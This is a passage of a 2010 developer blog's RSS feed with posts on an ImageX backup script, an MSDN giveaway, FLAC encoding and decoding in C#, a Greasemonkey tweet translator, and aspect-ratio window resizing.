</ol>
</ul>
<p><a id="more-99"></a></p>
<h4>The scripts</h4>
<p>Capturing, mounting, or unmounting images requires administrative privileges, so you can either right-click the scripts and select <strong>Run as Administrator</strong>, or create a shortcut to the script and change its Compatibility options to always require elevation.</p>
<p>The script defaults are below. These can changed (in all four scripts, where used) as needed:</p>
<ul>
<li><strong>C:\projects </strong>The folder to back up</li>
<li><strong>projects.wim</strong> (created and updated in the root <strong>backup</strong> folder) The Windows image to be used</li>
<li><strong>projects.<em>YYMMDD-HHMM</em></strong><em> </em>The image name template; it is dynamically updated based on the time when the capturing process is started</li>
<li><strong>mount</strong> (folder; located in the root folder) The mount folder to use</li>
</ul>
<blockquote><p>Mounting Windows images is only possible after installing the driver by right-clicking <strong>wimmount.inf</strong> (in the respective ImageX folder), and selecting <strong>Install</strong>.</p>
</blockquote>
<h4><a href="http://msdn.microsoft.com/en-us/library/yh598w02.aspx" target="_blank">Using</a> the solution</h4>
<p>Testing and using the backup solution is quite easy. After preparing the ImageX binaries and editing the script defaults as needed:</p>
<ol>
<li>Simply run the <strong>capture.cmd </strong>script to take the initial snapshot of the target directory.</li>
<li>To verify that the new image is processed, you can run the <strong>info.cmd </strong>script. The command-line output will show information about all images, including the new one.</li>
<li>Repeat when a backup is needed.</li>
</ol>
<blockquote><p>Of course, the process can be fully automated, by just referencing the <strong>capture.cmd</strong> in the scheduling program of your choice.</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRSS>/blog/2010/09/18/a-simple-backup-solution-using-imagex-a-windows-imaging-tool/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Soon: MSDN Ultimate Subscriptions Giveaway</title>
		<link>/blog/2010/09/18/soon-two-msdn-ultimate-subscriptions-giveaway/</link>
		<comments>/blog/2010/09/18/soon-two-msdn-ultimate-subscriptions-giveaway/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 09:44:29 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>MVP Program</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2010/09/18/soon-two-msdn-ultimate-subscriptions-giveaway/</guid>
		<description><![CDATA[
Just wanted to post a quick update:
Thanks to the MVP Program I have received two MSDN Ultimate Subscription gift cards, worth $11,899 each.
These are going to be given away soon as I am working with Bryant on the giveaway details. Stay tuned.
]]></description>
			<content:encoded><![CDATA[<p><a href="/blog/wp-content/uploads/SDC14015Resized.jpg" rel="lightbox"><img style="margin: 5px; padding-left: ; padding-right: ; display: inline; padding-top: " title="SDC14015 - Resized" alt="SDC14015 - Resized" align="left" src="/blog/wp-content/uploads/SDC14015Resized_thumb.jpg" width="254" height="182" /></a></p>
<p>Just wanted to post a quick update:</p>
<p>Thanks to the <a href="http://mvp.support.microsoft.com/" target="_blank">MVP Program</a> I have received <strong>two MSDN Ultimate Subscription gift cards</strong>, worth $11,899 each.</p>
<p>These are going to be given away soon as <a href="http://twitter.com/stoyanov" target="_blank">I</a> am working with <a href="http://twitter.com/eganist" target="_blank">Bryant</a> on the giveaway details. Stay tuned.</p>
]]></content:encoded>
			<wfw:commentRSS>/blog/2010/09/18/soon-two-msdn-ultimate-subscriptions-giveaway/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Decoding FLAC audio files in C#</title>
		<link>/blog/2010/07/26/decoding-flac-audio-files-in-c/</link>
		<comments>/blog/2010/07/26/decoding-flac-audio-files-in-c/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 13:10:09 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>Programming</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2010/07/26/decoding-flac-audio-files-in-c/</guid>
		<description><![CDATA[FlacReader + WavWriter
As a follow-up to my previous article on FLAC and encoding uncompressed audio, I have further developed the Wav2Flac library and added FLAC decoding to the WAVE container. Some key points of this aspect of the WavFlacTest library are:

Support for 16- and 24-bit audio streams 
Support for virtually all FLAC channel mappings: mono, [...]]]></description>
			<content:encoded><![CDATA[<h4>FlacReader + WavWriter</h4>
<p>As a follow-up to <a href="http://stoyanoff.info/blog/2010/01/08/encoding-uncompressed-audio-with-flac-in-c/" target="_blank">my previous article</a> on FLAC and encoding uncompressed audio, I have further developed the Wav2Flac library and added FLAC decoding to the WAVE container. Some key points of this aspect of the <strong>WavFlacTest</strong> library are:</p>
<ul>
<li>Support for <strong>16- </strong>and <strong>24-bit </strong>audio streams </li>
<li>Support for virtually all <a href="http://flac.sourceforge.net/" target="_blank">FLAC</a> channel mappings: <strong>mono</strong>,<strong> stereo</strong>,<strong> 5.1</strong>,<strong> 7.1</strong>, etc. </li>
<li>The resulting file is a <strong>bit-for-bit copy </strong>of the original audio stream
<ul>
<h6></h6>
</ul>
</li>
</ul>
<blockquote><p>All source code and the compiled 32-bit FLAC library can be downloaded from <a href="http://stoyanoff.info/code/wavflactest_src.zip">here</a>.</p>
</blockquote>
<h4>Known limitations</h4>
<ul>
<li>Due to the wave format used being 32-bit, uncompressed files greater than 2GB in size might not play in full in some players. </li>
<li>Even though FlacReader can receive metadata callbacks, the data is not interpreted. This can be further developed using the <a href="http://flac.sourceforge.net/api/group__flac__stream__decoder.html#ga14" target="_blank">FLAC API documentation</a>.</li>
</ul>
]]></content:encoded>
			<wfw:commentRSS>/blog/2010/07/26/decoding-flac-audio-files-in-c/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Inline Tweet Translator</title>
		<link>/blog/2010/07/25/inline-tweet-translator/</link>
		<comments>/blog/2010/07/25/inline-tweet-translator/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 20:24:50 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>Programming</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2010/07/25/inline-tweet-translator/</guid>
		<description><![CDATA[

One thing that popped in my mind yesterday after having a conversation over twitter (admittedly, a service I had rarely used until recently), is that the more followers you have, the higher the odds you would have to use other languages in addition to a lingua franca. This ‘leaves out’ other friends who could have [...]]]></description>
			<content:encoded><![CDATA[<blockquote>
</blockquote>
<p><a href="/blog/wp-content/uploads/large1.png" rel="lightbox"><img style="border-right-width: 0px; display: block; float: right; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="Translated tweet from @katyperry" border="0" alt="Translated tweet from @katyperry" src="/blog/wp-content/uploads/large1_thumb.png" width="151" height="87" /></a>One thing that popped in my mind yesterday after having a conversation over <a href="http://twitter.com" target="_blank">twitter</a> (admittedly, a service I had rarely used until recently), is that the more followers you have, the higher the odds you would have to use other languages in addition to a <em>lingua franca</em>. This ‘leaves out’ other friends who could have limited knowledge of foreign languages.</p>
<p>This is how the idea for the <strong><a href="http://userscripts.org/scripts/show/82241" target="_blank">Tweet Balloon Translator</a></strong> was born. It’s a <a href="https://addons.mozilla.org/firefox/addon/748" target="_blank">Greasemonkey</a> script for <a href="http://getfirefox.com" target="_blank">Firefox</a>, which uses the balloon/hover feature recently introduced in twitter plus the <a href="http://translate.google.com/" target="_blank">Google Translate service</a> to translate tweets quickly and inline.</p>
<blockquote><p>You can install the script from <a href="http://userscripts.org/scripts/show/82241" target="_blank"><strong>userscripts.org</strong></a><strong>&#160;</strong>or <a href="/code/tweet_translator.user.js" target="_blank"><strong>the local copy here</strong></a>.</p>
</blockquote>
<h4>Development notes</h4>
<p>The key phases I outlined for the script were as follows:</p>
<ol>
<li>Establish a working translation block of code using the <a href="http://code.google.com/apis/ajaxlanguage/documentation/#fonje" target="_blank">Google Translate JSON API</a> </li>
<li>Research the possibilities of inserting a <em>Translate </em>link in such aspects of twitter as the profile page, direct messages, retweets. The Guest/logged out user scenario also had to be taken into account as twitter serves the pages in a different manner. </li>
<li>Figure out a way to use the twitter internal API for the <strong>HoverCard </strong>balloon feature. This was probably the hardest of all three because of the way these are created and populated. </li>
<li>Integrate 1 through 3 in a single script. </li>
</ol>
<p>Needless to say, the script employs asynchronous requests to Google via the HTTPXMLRequest model so as to not break the UI thread, as well as exception handling.</p>
<p>Please feel free to try out, review, or contribute to the script at userscripts.org. I feel both international and English-speaking users could benefit from this by being able to communicate with more people on twitter, and understand international tweets.</p>
]]></content:encoded>
			<wfw:commentRSS>/blog/2010/07/25/inline-tweet-translator/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Resizing forms while keeping aspect ratio</title>
		<link>/blog/2010/06/27/resizing-forms-while-keeping-aspect-ratio/</link>
		<comments>/blog/2010/06/27/resizing-forms-while-keeping-aspect-ratio/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 16:18:22 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>Programming</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2010/06/27/resizing-forms-while-keeping-aspect-ratio/</guid>
		<description><![CDATA[Resizing a form while keeping aspect ratio is useful in many cases, like video playback or vector graphics. This way, the window can be resized while retaining the original ratio and avoiding the use of letterboxing or pillarboxing.
What’s needed is for the window function to be overriden (WndProc) and pre-process the target window rectangle used [...]]]></description>
			<content:encoded><![CDATA[<p>Resizing a form while keeping aspect ratio is useful in many cases, like video playback or vector graphics. This way, the window can be resized while retaining the original ratio and avoiding the use of <a href="http://en.wikipedia.org/wiki/Letterbox" target="_blank">letterboxing</a> or <a href="http://en.wikipedia.org/wiki/Pillarbox" target="_blank">pillarboxing</a>.</p>
<p>What’s needed is for the window function to be overriden (<a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.control.wndproc(VS.71).aspx" target="_blank">WndProc</a>) and pre-process the target window rectangle used by the <a href="http://msdn.microsoft.com/en-us/library/ms632647(VS.85).aspx" target="_blank">WM_SIZING message</a>. </p>
<p>The new destination rectangle is calculated by taking into account the resizing handle and the window chrome size (title height, border width, etc.).</p>
<p><font face="courier new"><font color="#0000ff">protected override void</font> WndProc(<font color="#0000ff">ref</font> Message m)      <br />{      <br />&#160;&#160;&#160; <font color="#0000ff">if</font> (m.Msg == WM_SIZING)      <br />&#160;&#160;&#160; {      <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; RECT rc = (RECT)Marshal.PtrToStructure(m.LParam, <font color="#0000ff">typeof</font>(RECT)); </font></p>
<p><font face="courier new">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <font color="#0000ff">int</font> w = rc.Right - rc.Left - chromeWidth;      <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; <font color="#0000ff">int</font> h = rc.Bottom - rc.Top - chromeHeight; </font></p>
<p><font face="courier new">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <font color="#0000ff">switch</font> (m.WParam.ToInt32()) <font color="#008000">// Resize handle</font>      <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; {</font></p>
<p><font color="#008000" face="courier new">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; // …</font></p>
<p><font face="courier new">&#160;&#160;&#160;&#160;&#160;&#160;&#160; } </font></p>
<p><font face="courier new">&#160;&#160;&#160;&#160;&#160;&#160;&#160; Marshal.StructureToPtr(rc, m.LParam, <font color="#0000ff">true</font>);      <br />&#160;&#160;&#160; } </font></p>
<p><font face="courier new">&#160;&#160;&#160; <font color="#0000ff">base</font>.WndProc(<font color="#0000ff">ref</font> m);      <br />}</font></p>
<p>You can find the full C# source code <a href="http://stoyanoff.info/code/uniformresize.zip" target="_blank">here</a>, including a test program. The aspect ratio and initial client size is set to 16:9.</p>
]]></content:encoded>
			<wfw:commentRSS>/blog/2010/06/27/resizing-forms-while-keeping-aspect-ratio/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Encoding uncompressed audio with FLAC in C#</title>
		<link>/blog/2010/01/08/encoding-uncompressed-audio-with-flac-in-c/</link>
		<comments>/blog/2010/01/08/encoding-uncompressed-audio-with-flac-in-c/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 20:22:29 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>Programming</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2010/01/08/encoding-uncompressed-audio-with-flac-in-c/</guid>
		<description><![CDATA[Why lossless?
Lossless audio is used on various media, including studio masters, CD, DVD-Audio (via MLP) and Blu-ray (via Dolby TrueHD, which is technically a rebrand of and an extension to MLP, and DTS-HD Master Audio). All of these, when decoded, will result in a pulse-code modulated signal identical to the source, unlike the popular MP3 [...]]]></description>
			<content:encoded><![CDATA[<h4>Why lossless?</h4>
<p>Lossless audio is used on various media, including studio masters, CD, DVD-Audio (via <a href="http://en.wikipedia.org/wiki/Meridian_Lossless_Packing" target="_blank">MLP</a>) and Blu-ray (via <a href="http://en.wikipedia.org/wiki/Dolby_TrueHD" target="_blank">Dolby TrueHD</a>, which is technically a rebrand of and an extension to MLP, and <a href="http://www.dts.com/DTS_Audio_Formats/DTS-HD_Master_Audio.aspx" target="_blank">DTS-HD Master Audio</a>). All of these, when decoded, will result in a <strong>pulse-code modulated signal</strong> identical to the source, unlike the popular <a href="http://en.wikipedia.org/wiki/MP3" target="_blank">MP3</a> format. MP3 performs a quality-file size trade-off by discarding or reducing frequencies less audible to human hearing.</p>
<p><a href="http://en.wikipedia.org/wiki/Pulse-code_modulation" target="_blank">PCM</a> by design uses a constant bitrate, which is proportional to the <strong>sample rate</strong>, <strong>bit depth</strong> and <strong>number of audio channels</strong>, which results in very large file sizes with the increasing of each parameter, and/or duration of the audio track.</p>
<p>Solutions such as FLAC, TrueHD and DTS-HD MA are used to losslessly compress the source audio so that the rest of the medium (for example, a Blu-ray disc) can be used for more audio tracks, higher-bandwidth video or extras.</p>
<p>Out of the aforementioned, only FLAC is free to use—both TrueHD and DTS-HD MA encoders and decoders have to be licensed.</p>
<p>The first part of the series will explore the processing of uncompressed audio data with the <a href="http://flac.sourceforge.net/" target="_blank">FLAC</a> API in C#. In case you prefer to use Visual Basic .NET, you can use <a href="http://www.developerfusion.com/tools/convert/csharp-to-vb/" target="_blank">this online converter</a>.</p>
<p><a id="more-94"></a></p>
<h4>Anatomy of a WAVE file</h4>
<p>In order to process a digital audio signal, we have to know three key parameters:</p>
<ul>
<li>The <strong>frequency</strong>, at which the signal was sampled. Usual sample rates are 44,100 Hz; 48,000 Hz, 96,000 Hz and rarely 192,000 Hz.
<li>The “<strong>depth</strong>” of each sample, measured in bits. The FLAC encoder supports up to 24 bits. Our C# WAVE reader will support 16 and 24 bits of audio data.
<li>The <strong>number of channels</strong>, which the recording consists of. This is usually mono, stereo (CD), 5.1 (DVD-Audio, Blu-ray) or 7.1 (Blu-ray). </li>
</ul>
<p>The most common container for PCM audio data is the WAVE file format. As noted above, PCM has a constant bitrate of</p>
<blockquote><p><font face="Courier New">SampleRate * BitDepth * Channels</font>,</p>
</blockquote>
<p>which makes it very easy to predict the size of each block of audio samples—a single second of audio data would be <strong><font face="Courier New">Bitrate / 8 bytes</font></strong> (8 bits in a byte)—e.g. 176.4KB for a second of CD-quality audio.</p>
<p><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="riff" border="0" alt="riff" src="http://stoyanoff.info/blog/wp-content/uploads/riff_thumb.png" width="308" height="300"></p>
</p>
<p>We can create the initialization method of the <font face="Courier New"><strong>WavReader</strong></font> class by starting with an input <font face="Courier New"><strong>Stream</strong></font> object. We have to ensure that there is enough available data for the wave format header, and check that the file is indeed a RIFF/WAVE file to avoid unnecessary reading and processing.</p>
<blockquote><p><font face="Courier New">uRiffHeader = reader.ReadInt32(); <br />uRiffHeaderSize = reader.ReadInt32(); <br />uWaveHeader = reader.ReadInt32(); </font></p>
<p><font face="Courier New">if (uRiffHeader != 0&#215;46464952 /* RIFF */ || <br />&nbsp;&nbsp;&nbsp; uWaveHeader != 0&#215;45564157 /* WAVE */) <br />&nbsp;&nbsp;&nbsp; throw new Exception(&#8221;Invalid WAVE header!&#8221;);</font></p>
</blockquote>
<p>&nbsp;</p>
<p>Right after the RIFF chunk there can be a number of <strong>JUNK</strong> (padding) chunks, which we can skip and <strong>data</strong> and <strong>fmt</strong> chunks, whose data we need.</p>
<p align="left"><font face="Courier New">// Read all WAVE chunks <br />while (reader.BaseStream.Position &lt; reader.BaseStream.Length) <br />{ <br />&nbsp;&nbsp;&nbsp; int type = reader.ReadInt32(); <br />&nbsp;&nbsp;&nbsp; int size = reader.ReadInt32(); </font></p>
<p align="left"><font face="Courier New">&nbsp;&nbsp;&nbsp; long last = reader.BaseStream.Position; </font></p>
<p align="left"><font face="Courier New">&nbsp;&nbsp;&nbsp; switch (type) <br />&nbsp;&nbsp;&nbsp; { <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 0&#215;61746164: /* data */ <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uDataHeader = type; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nTotalAudioBytes = size; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break; </font></p>
<p align="left"><font face="Courier New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 0&#215;20746d66: /* fmt&nbsp; */ <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uFmtHeader = type; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uFmtHeaderSize = size; </font></p>
<p align="left"><font face="Courier New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format.wFormatTag = reader.ReadInt16(); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format.nChannels = reader.ReadInt16(); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format.nSamplesPerSec = reader.ReadInt32(); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format.nAvgBytesPerSec = reader.ReadInt32(); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format.nBlockAlign = reader.ReadInt16(); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format.wBitsPerSample = reader.ReadInt16(); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; format.cbSize = reader.ReadInt16(); <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break; <br />&nbsp;&nbsp;&nbsp; } </font></p>
<p align="left"><font face="Courier New">&nbsp;&nbsp;&nbsp; if (uDataHeader == 0) // Do not skip the &#8216;data&#8217; chunk size <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reader.BaseStream.Position = last + size; <br />&nbsp;&nbsp;&nbsp; else <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break; <br />}</font></p>
<p>Our <font face="Courier New"><strong>WavReader</strong></font> class only supports 16 and 24-bit PCM samples, so we have to ensure that format <font face="Courier New">format.wFormatTag</font> is 1 (PCM) and <font face="Courier New">format.wBitsPerSample ple</font> is either 16 or 24. These limitations can be further removed by implementing <strong>sample rate conversion</strong> on-the-fly.</p>
<p>After all headers are read, <font face="Courier New">nTotalAudioBytes</font> will contain the total count of audio data bytes in the WAVE file. To determine the duration of the audio file, we can simply divide it by the block size (<strong><font face="Courier New">Bitrate / 8 bytes</font></strong>).</p>
<p>The input stream will now be at the start of the audio samples. Every 16th or 24th bit (respectively, 2nd or 3rd byte) will mark the beginning of each sample. All audio samples are interleaved so the stream consists of:</p>
<blockquote><p><font face="Courier New">channel 0, sample 0</font></p>
<p><font face="Courier New">channel 1, sample 0</font></p>
<p><font face="Courier New">&#8230;</font></p>
<p><font face="Courier New">channel <em>n</em>, sample 0</font></p>
<p><font face="Courier New">channel 0, sample 1</font></p>
<p><font face="Courier New">&#8230;</font></p>
</blockquote>
<p>Now that we have reached the audio samples, we can start feeding them to FLAC.</p>
<h4>Free Lossless Audio Codec</h4>
<p><font face="Segoe UI"><font face="Segoe UI"></font></font><font face="Segoe UI"><font face="Segoe UI"></font></font></p>
<p></font></font><font face="Segoe UI"><font face="Segoe UI">
<p>The FLAC encoder is an open-source C/C++ project. In order to use it in a C# application we have to use <a href="http://msdn.microsoft.com/en-us/library/aa446536.aspx" target="_blank">PInvoke</a> to call its application programming interface—<strong>LibFlac.dll</strong>. The latest version of LibFlac can be found at <a title="http://sourceforge.net/projects/flac/files/flac-win/" href="http://sourceforge.net/projects/flac/files/flac-win/">http://sourceforge.net/projects/flac/files/flac-win/</a>.</p>
<p>When the encoder processes a block of audio samples, our callback functions will write the compressed data to the output stream.</p>
<p>In a nutshell, what our <font face="courier new">FlacWriter</font> class is going to do is:</p>
<ol>
<li>Create a new encoder instance.
<li>Set the three key parameters (sample rate, bits per sample,
<li>number of channels). </font>
<li><font face="Segoe UI"><font face="Segoe UI">Optionally set a compression level (default is 5).</font></font>
<li>Initialize the encoder by passing references to the callback functions (Write, Tell and Seek).
<li>Pass all (desired) audio samples to the encoder, which will return their compressed counterpart.
<li>Finalize and delete the encoder instance. This will release all memory allocated by FLAC. </font></li>
</ol>
<p><font face="Segoe UI"><font face="Segoe UI"><font face="Courier New">// Callbacks<br />[UnmanagedFunctionPointer(CallingConvention.Cdecl)]<br />delegate int WriteCallback(IntPtr context, IntPtr buffer, int bytes, uint samples, uint current_frame, IntPtr userData); </font></font></font></p>
<p><font face="Segoe UI"><font face="Segoe UI"><font face="Courier New">[UnmanagedFunctionPointer(CallingConvention.Cdecl)]<br />delegate int SeekCallback(IntPtr context, long absoluteOffset, IntPtr userData); </font></font></font></p>
<p><font face="Segoe UI"><font face="Segoe UI"><font face="Courier New">[UnmanagedFunctionPointer(CallingConvention.Cdecl)]<br />delegate int TellCallback(IntPtr context, out long absoluteOffset, IntPtr userData); </font></p>
<p>When a buffer of PCM samples has been read, we can pass it to <font face="courier new">FlacWriter</font>. Internally it has to pad all 16 or 24-bit sample to a 32-bit window (using <a href="http://en.wikipedia.org/wiki/Endianness#Little-endian" target="_blank"><font color="#444444">little-endian format</font></a>).</p>
<blockquote><p align="left"><font face="courier new">padded = new byte[buffer.Length * 8 / inputBitDepth];</font></p>
<p align="left"><font face="courier new">if (inputBitDepth == 16)<br />&nbsp;&nbsp;&nbsp; for (int i = 0; i &lt; paddedSamples; i++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; padded[i] = buffer[i * bytes + 1] &lt;&lt; 8 |<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i * bytes + 0]; </font></p>
<p align="left"><font face="courier new">else if (inputBitDepth == 24)<br />&nbsp;&nbsp;&nbsp; for (int i = 0; i &lt; paddedSamples; i++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; padded[i] = buffer[i * bytes + 2] &lt;&lt; 16 |<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i * bytes + 1] &lt;&lt; 8 |<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i * bytes + 0];</font></p>
</blockquote>
<h4>Wav2Flac</h4>
<p>The main program will use a combination of <font face="courier new">WavReader</font> and <font face="courier new">FlacWriter </font>to perform the encoding of WAVE files. Because both classes implement the <font color="#444444" face="courier new"><a href="http://msdn.microsoft.com/en-us/library/system.idisposable.aspx" target="_blank">IDisposable</a></font> interface, they close all input/output streams as well as the FLAC encoder instance when the <font color="#444444" face="courier new"><a href="http://msdn.microsoft.com/en-us/library/system.idisposable.dispose.aspx" target="_blank">Dispose()</a></font> method is called, or a <a href="http://msdn.microsoft.com/en-us/library/yh598w02.aspx" target="_blank"><font color="#444444">using</font></a> statement is used.</p>
<p></font><font face="courier new">using (WavReader wav = new WavReader(inputFile))<br />{<br />&nbsp;&nbsp;&nbsp; using (FlacWriter flac = new FlacWriter(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; File.Create(outputFile),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wav.BitDepth,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wav.Channels,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wav.SampleRate))<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Buffer for 1 second&#8217;s worth of audio data<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; byte[] buffer = new byte[wav.Bitrate / 8];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int bytesRead;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; do<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytesRead = wav.InputStream.Read(buffer, 0, buffer.Length);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; flac.Write(buffer, 0, bytesRead);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } while (bytesRead &gt; 0); </font></p>
<p align="left"><font face="courier new">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Finished!<br />&nbsp;&nbsp;&nbsp; }<br />}</font></p>
<h4>Testing the program</h4>
<blockquote><p>All source code and the compiled 32-bit FLAC library can be downloaded from <a href="/code/wav2flac_src.zip" target="_blank">here</a>.</p>
</blockquote>
<p>The test program uses three sample WAVE files from the ‘<strong>wav</strong>’ folder and encodes them to ‘<strong>flac</strong>’. You can download the sample files from here, courtesy of <a href="http://www.2l.no/hires/index.html" target="_blank"><strong>2L</strong></a> (Username: <strong>HD&nbsp;&nbsp; </strong>Password: <strong>2L</strong>), and place them in ‘<strong>wav</strong>’:</p>
<ul>
<li>Britten: Simple Symphony, Op. 4 <a href="http://www.lindberg.no/hires/test/2L50SACD_tr1_96k_stereo.wav" target="_blank">96kHz/24-bit stereo sample</a>
<li>Britten: Simple Symphony, Op. 4 <a href="http://www.lindberg.no/hires/test/2L50SACD_tr01_multi_48.wav" target="_blank">48kHz/24-bit 5.1 surround sample</a>
<li>Haydn: String Quartet in D <a href="http://www.lindberg.no/hires/test/2L53SACD_04_stereo_96k.wav" target="_blank">96kHz/24-bit stereo sample</a></li>
</ul>
<p>The test program also uses the <a href="/blog/2010/01/05/cmd-progress-bar/" target="_blank">ConsoleProgress</a> class I have posted earlier.</p>
<p>The code can be further optimized and extended to support various other bit depths. The next part of the series will explore the decoding of DTS-HD Master Audio and its encoding using <font face="courier new">FlacWriter</font>.</p>
<p>I would appreciate any questions, suggestions or corrections!</p>
]]></content:encoded>
			<wfw:commentRSS>/blog/2010/01/08/encoding-uncompressed-audio-with-flac-in-c/feed/</wfw:commentRSS>
		</item>
	</channel>
</rss>

